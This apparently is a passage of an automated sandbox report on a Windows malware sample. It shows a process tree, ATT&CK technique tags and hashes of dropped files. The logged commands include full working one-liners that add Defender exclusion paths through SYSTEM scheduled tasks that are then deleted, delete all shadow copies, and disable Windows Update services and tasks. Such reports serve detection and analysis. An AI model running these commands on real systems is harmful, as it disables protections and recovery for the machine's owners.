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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3916
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4232
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2028 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2936
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:6132
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5864
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5992 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4476
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2900
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3296
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C:\Program Files (x86)\OzJbYu\OzJbYu.exe"C:\Program Files (x86)\OzJbYu\OzJbYu.exe"2⤵PID:1932
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\OzJbYu" /inheritance:r3⤵
- Executes a command shell one-liner
PID:2560 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\OzJbYu" /inheritance:r4⤵
- Modifies file permissions
PID:5580
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C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin delete shadows /all /quiet3⤵
- Executes a command shell one-liner
PID:2184
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C:\Windows\SysWOW64\cmd.execmd /c echo.>c:\xxxx.ini3⤵
- Executes a command shell one-liner
PID:1140
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C:\Windows\SysWOW64\cmd.execmd /c echo.>c:\xxxx.ini3⤵
- Executes a command shell one-liner
PID:3604
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C:\Windows\SysWOW64\cmd.execmd /c echo.>c:\xxxx.ini3⤵
- Executes a command shell one-liner
PID:5528
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\OzJbYu\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F3⤵
- Indicator Removal: Clear Persistence
PID:1372 -
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\OzJbYu\" /t REG_DWORD /d 0 /f"4⤵
- Scheduled Task/Job: Scheduled Task
PID:3992
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN "Task1"4⤵PID:2324
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Delete /TN "Task1" /F4⤵PID:4284
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"3⤵
- Executes a command shell one-liner
PID:2536 -
C:\Windows\SysWOW64\net.exenet stop wuauserv4⤵PID:1896
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv5⤵PID:4688
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C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled4⤵
- Launches sc.exe
PID:236
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\OzJbYu" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
PID:1256 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\OzJbYu" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Modifies file permissions
PID:5956
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F3⤵
- Indicator Removal: Clear Persistence
PID:1704 -
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN "Task1"4⤵PID:2564
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Delete /TN "Task1" /F4⤵PID:3584
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\OzJbYu" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)3⤵
- Executes a command shell one-liner
PID:2712 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\OzJbYu" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)4⤵
- Modifies file permissions
PID:5508
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\OzJbYu\OzJbYu.exe" /inheritance:r3⤵
- Executes a command shell one-liner
PID:3856 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\OzJbYu\OzJbYu.exe" /inheritance:r4⤵
- Modifies file permissions
PID:5232
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\OzJbYu\OzJbYu.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
PID:3948 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\OzJbYu\OzJbYu.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Modifies file permissions
PID:5000
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\OzJbYu\image.png" /grant:r Users:(RX) /deny Users:(DE)3⤵
- Executes a command shell one-liner
PID:1224 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\OzJbYu\image.png" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Modifies file permissions
PID:5848
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\OzJbYu\thumbs.db" /inheritance:r3⤵
- Executes a command shell one-liner
PID:5252 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\OzJbYu\thumbs.db" /inheritance:r4⤵
- Modifies file permissions
PID:5696
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\OzJbYu\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
PID:4960 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\OzJbYu\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Modifies file permissions
PID:3184
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\OzJbYu\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)3⤵
- Executes a command shell one-liner
PID:5448 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\OzJbYu\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Modifies file permissions
PID:4572
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\OzJbYu\XPSPLOG.dll" /inheritance:r3⤵
- Executes a command shell one-liner
PID:4480 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\OzJbYu\XPSPLOG.dll" /inheritance:r4⤵
- Modifies file permissions
PID:2056
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\OzJbYu\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
PID:3172 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\OzJbYu\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Modifies file permissions
PID:5644
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\OzJbYu\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)3⤵
- Executes a command shell one-liner
PID:2432 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\OzJbYu\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Modifies file permissions
PID:4340
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Y8CBq4" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3576 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Y8CBq4" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3444
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C:\Windows\system32\cmd.execmd.exe1⤵PID:2496
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:944 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1640
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3436 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4576
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:456 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3200
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2364 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:5748
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C:\Program Files (x86)\OzJbYu\OzJbYu.exe"C:\Program Files (x86)\OzJbYu\OzJbYu.exe"1⤵PID:5224
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C:\Program Files (x86)\OzJbYu\OzJbYu.exe"C:\Program Files (x86)\OzJbYu\OzJbYu.exe"1⤵PID:5244
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C:\Program Files (x86)\N65Ip\5kMXWGp9.exe"C:\Program Files (x86)\N65Ip\5kMXWGp9.exe"1⤵PID:1428
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C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\OzJbYu\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F1⤵
- Modifies file permissions
PID:5772
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C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\OzJbYu" /t REG_DWORD /d 0 /f1⤵PID:4400
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
File and Directory Permissions Modification
1Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
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Downloads
- Path C:\Config.Msi\e59aa9f.rbs
- Size 7KB
- SHA256 08b990499a10eec0d9f02f0156efb4b0fb69bd214e8a4e9e8092650f413323ba
- MD5 e0877d1d3127fd2f536be87da0f414b5
- SHA1 70bebe8e2ce55b49daa5baa7edf9d20684d487da
- SHA512 dc273edad703d6f35e10bf6272dff1cfcf2957fd717da08653350361cad30b1ad950f4c3a6a208cb370f3592818082fc572d9437469ca93a84f02d5c0fe19ac6
- SSDEEP 96:1+fRHlC+G/2ahUUmj1CsThqiUmj1C6jhtQ8VThqSHuT5B5W+/A8hCKpljhT3Mjje:1qC1zAIIkAIEKt4Kp/
- TLSH T1C0F11102B60086D6FC9A5739CB4B1B5637AAC3D5C350635B06CE83602F4B78E6ED169B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\N65Ip\XPSPLOG.dll
- Size 4.6MB
- SHA256 fc80805b8ad64d567c43c5a6c9a5dc409608bb9e5e988183a995cb6dbe222fa1
- MD5 f61a490ff3d494d26dae65693949ad03
- SHA1 01c7ba0b155d650471888a7abc67d404cbdc15c7
- SHA512 8847ecc2be30d589d41782c9b14791e8febc3376bffdea91043445388ff7ce50936692aaba161254a0a477fa3b208d624922b13356ac96a96348c9f8b39e7604
- SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyy:BMWKfU+BcUTHCCCfqCiUffny
- TLSH T1EC263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\N65Ip\image.png
- Size 4.9MB
- SHA256 abdb30e9acfdd6abff3ab2327b4a3b6b711a4249cb56d63345fc4df01c491e14
- MD5 77b7787a1c29a7a24c9bb1f85d470da3
- SHA1 85604e6fbee6e6a785369c1029dec208f38d4655
- SHA512 6ba6bfd1d3840a7327f834fe58955e558c2fea3168c8cf2e39dcf14ebf5f6e449bdd6a17228ec31ff4c17876ed3f62fd82c5d0522822855ecc137498418cac7a
- SSDEEP 98304:9JwqG8r+CvCzsqtSFk8B+uUB2LRKuXDnP1lv2JkNNFQCHae9s6cS1N:9Jbrbit780VkLVDHFNqGae9s6c2
- TLSH T1F336331F92C111F95B7FD3253BFA56FB14A372923191A80EB22B17E853D11929F2CE48
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\OzJbYu\OzJbYu.exe
- Size 145KB
- SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
- MD5 5251b98614acffe5c856f4039ca03da3
- SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
- SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
- SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
- TLSH T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\OzJbYu\XPSPLOG.dll
- Size 4.6MB
- SHA256 bbf8f48a9fda83ed331cbd72fb0809399073cb2ccc713835cdb3dc3fffa3ba33
- MD5 aebaea971d8b3404dd022ffd73f3d5a4
- SHA1 605c23ccd875f082cbc853996a4d029823d44d84
- SHA512 53bdd631fe55fedf0f680759b02528b0fc5f2f7aaa3a9d7c1509f0cb6901eab81c7150a04ddd764940c383a97515477dcd081bf938fc6fc6ab59818dd9370ba6
- SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyu:BMWKfU+BcUTHCCCfqCiUffnu
- TLSH T1B7263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\OzJbYu\image.png
- Size 4.9MB
- SHA256 32a9bea6bae1e78611426d1ccbe828415e040d3bbdaa3250e817f8890c00f118
- MD5 e0206414e511a5321974dbb4d5639b64
- SHA1 665c032da507ebb854c10581e9d9c38396b5e668
- SHA512 432bd7a7cfd6b08be2f35935baf5672fca52515a85f07d93720a6a7f21d07e41fd405f76c0b2ab26b3f8824cea7fc2990262673ba78901b7fc779913aa17db0c
- SSDEEP 98304:oJwqG8r+CvCzsqtSFk8B+uUB2LRKuXDnP1lv2JkNNFQCHae9s6cS1N:oJbrbit780VkLVDHFNqGae9s6c2
- TLSH T14936331F92C111F95B7FD3253BFA56FB14A372923191A80EB22B17E853D11929F2CE48
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\OzJbYu\thumbs.db
- Size 358KB
- SHA256 89e251f133c1125d4b64408f47d9828539e05095d5117da0c3d37458aeb0d402
- MD5 d712c9583368e624996146ef978761ed
- SHA1 5639f1d8918380f475a73fa12482c79ef6a102c1
- SHA512 a12ba40892d732d0117159bbcfe3dff9bcb4f532fd357c8c1f3fd2db3794eb1075612b5262cffa9467d86170dbb716cd570c3040bbf9768b7bf3cd9dcd00609b
- SSDEEP 6144:LiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:O8u69CghoQxoMTFQqtKFCz7mb/
- TLSH T15F74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\Music\destopbak.ini
- Size 2B
- SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
- MD5 7e74f75663e5b5a4f3452a4c603ee45d
- SHA1 d5114b086b721f2c87ea7152025792958ab4c629
- SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
- MD5 SHA1 SHA512
- Path C:\Users\Public\Y8CBq4\UxEnhance64.dll
- Size 3.1MB
- SHA256 e6ea9b51937c3f5abaedaf46bfd5ebcf09f650907c55511fb57dc5a4d05a6cdc
- MD5 9dbc2f5db5f53e233d33171c583c2a95
- SHA1 709cee6e8b2c3358608ec9caa6644a7d1def3e27
- SHA512 e341e68a5804fc3b2f198f8579cf27d861dbb6f9eb379d8eef41058a4493ca7dc119d0c78530801a1c28280dbca25844fa369e29e30192b961e5118617b9da8b
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+q:P9m29xx3Tiqt06ox6+z2rNNrKoq
- TLSH T183E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\Y8CBq4\VYlAKq.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\Y8CBq4\adoresd.dat
- Size 4.8MB
- SHA256 d101e93fbd45866c24fe092b0da855ff80f816fc837ceb76dbab73fad0cfa4d4
- MD5 6d5cad1c9778fdfe3fc9c3d8537d5a06
- SHA1 95e144b989e1e9d2c54c20511cf935e52fe973ff
- SHA512 5dfd9b69ed1cd0452f1d55f3db4ddde06d911151182fcf200f69c2d76401bade42447ac42076ccc649012f7126f23cebb1b46f5d8a1e46c394584461e9f0cf95
- SSDEEP 98304:ZuZ630UjjOt6udZuYb7Ad2WAqSFmtNYNF/ltN3fjZgRnXxs:qQDPnORb7AdPEm7Y7ltlVgxs
- TLSH T124363339536D9C62DDC7A0F8A49D4596FF683D60FAE2A006B47C1D213015DFB986FE08
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\Y8CBq4\msadox.tb
- Size 8KB
- SHA256 01351e605db44e629e40b2bb20acc1c57233b57558b6db6d5b9a9256e38e9adc
- MD5 3c988f69ed2e62b64ac6b6967781e71e
- SHA1 ed8ac35be0912eb19c0327e47fc72c88957ec7f2
- SHA512 a406943632b563098ddeef9f62971f4c2177bb4c2f77e6a1452f3c0eafc72d4ca91cac2caaeb9cfe6dbe47faceff6fbaa168992ba53135b3a696e61d632e9f53
- SSDEEP 192:eqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:esZqZOXQ3uqvR2Kfzp
- TLSH T194029E05D7A20DC3D2116C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSIAFDF.tmp
- Size 5.8MB
- SHA256 98e22409d3b59a6130c1e15db7e5e38916ef56ffd2354397e41454eddbb94ba4
- MD5 f7a0c9c58fbe1eb1d59e354c11a72dfa
- SHA1 355ccbcc3d9becc29c8465f1d61345229c2c0f06
- SHA512 231c2370933ce47613781b3236249f770340aa1d7073bab6a06fc2875fa217c060d3c0536caa7f9ea6e3ee6e7799ad9a0f70809c7d80a3c285cd631a048ff3ef
- SSDEEP 98304:TNLpXZZWEkybLYC1HqsKdvG6e/vWitOxm43lato//qkKEw3nSuNSHbUdkc/XQOuw:TVppZWabsiKfE/OxLEalqSuMHbyp6ryR
- TLSH T12F5633C5A8C772B8E497D3F0838339AE712C3BC62E659D217B8D2F1C6E31A1A5439745
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e59aa9e.msi
- Size 5.8MB
- SHA256 713f5d52a61e354c65bfa9ca139701c198f8d0a79416ae3e1b4699bef363d664
- MD5 74e71a893f28843d4749b67a86ff939c
- SHA1 9096a1915750e4285c3dc22b3f7bdc45607b9fa2
- SHA512 b6460d69f67fc04d731607e000f547f01e661e0dc709c60d091473d1ea63f0b7a76fd329404a0664cc9d72a183caec2d63549fb7b5ccda437202c4a84eeb0c96
- SSDEEP 98304:iNLpXZZWEkybLYC1HqsKdvG6e/vWitOxm43lato//qkKEw3neuNSHbUdkc/XQOuz:iVppZWabsiKfE/OxLEalqeuMHbyp6ry2
- TLSH T1465633C6B8C663B4E497D3F0838239AE712C3FC62F658D227A8D3B1C2E31A1A5575745
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 26.1MB
- SHA256 0e37e34121e4ce53d6c14d42e2e5844e0a9e385c9fb99a8ca75d141f501ea395
- MD5 4c1b824c92a06feac24a4d3a871d9d15
- SHA1 bd6f3aa88b15f7b4290127456f2a268b899143fa
- SHA512 edc7db6127bbe520c6f648a0bc769ab375be0619646b7d4f28dad9c1e88357d9e4213fa24390bee2aed47752900f70ed73da8115a6567632c2e695206b71ff39
- SSDEEP 24576:JFo3DMP0doO/vvTL/SwJpilgfrejy7uKkkP7tknB/MnqZeIZ8YhWJwz4NuR:AHQ
- TLSH T16F57F71836F92110F7F79E3CA8F0AA2749397D5B9C15DE8D45811B8E0821F71E872F6A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{6392210f-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{7ffb3ee8-9ef7-4f32-a64d-e583842bea20}_OnDiskSnapshotProp
- Size 6KB
- SHA256 ca907eb6f58a7c0b8ff7cf92af8320803f721020fa4bf2d96a160c76e5c778d2
- MD5 8ac0b588abd1e1b8518ca870ddb13c13
- SHA1 b63ab05325a137d1d636f7ddedde586976a055fd
- SHA512 3930862c59250478a914b081aecf396a10ff7d7787fc897291abc31133173b3e5a394fd1cc9f1757ac94ad2411be8ec809188f553cadfe4dc3e224d1d6e774df
- SSDEEP 96:FrcubMvc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpuN:RcVb++uVmN
- TLSH T1F8D176081AF54711E2B3AB3128F18557A877B912EF33CB8E0198238E6660910F875F6B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\c:\xxxx.ini
- Size 2B
- SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
- MD5 81051bcc2cf1bedf378224b0a93e2877
- SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
- SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
- MD5 SHA1 SHA512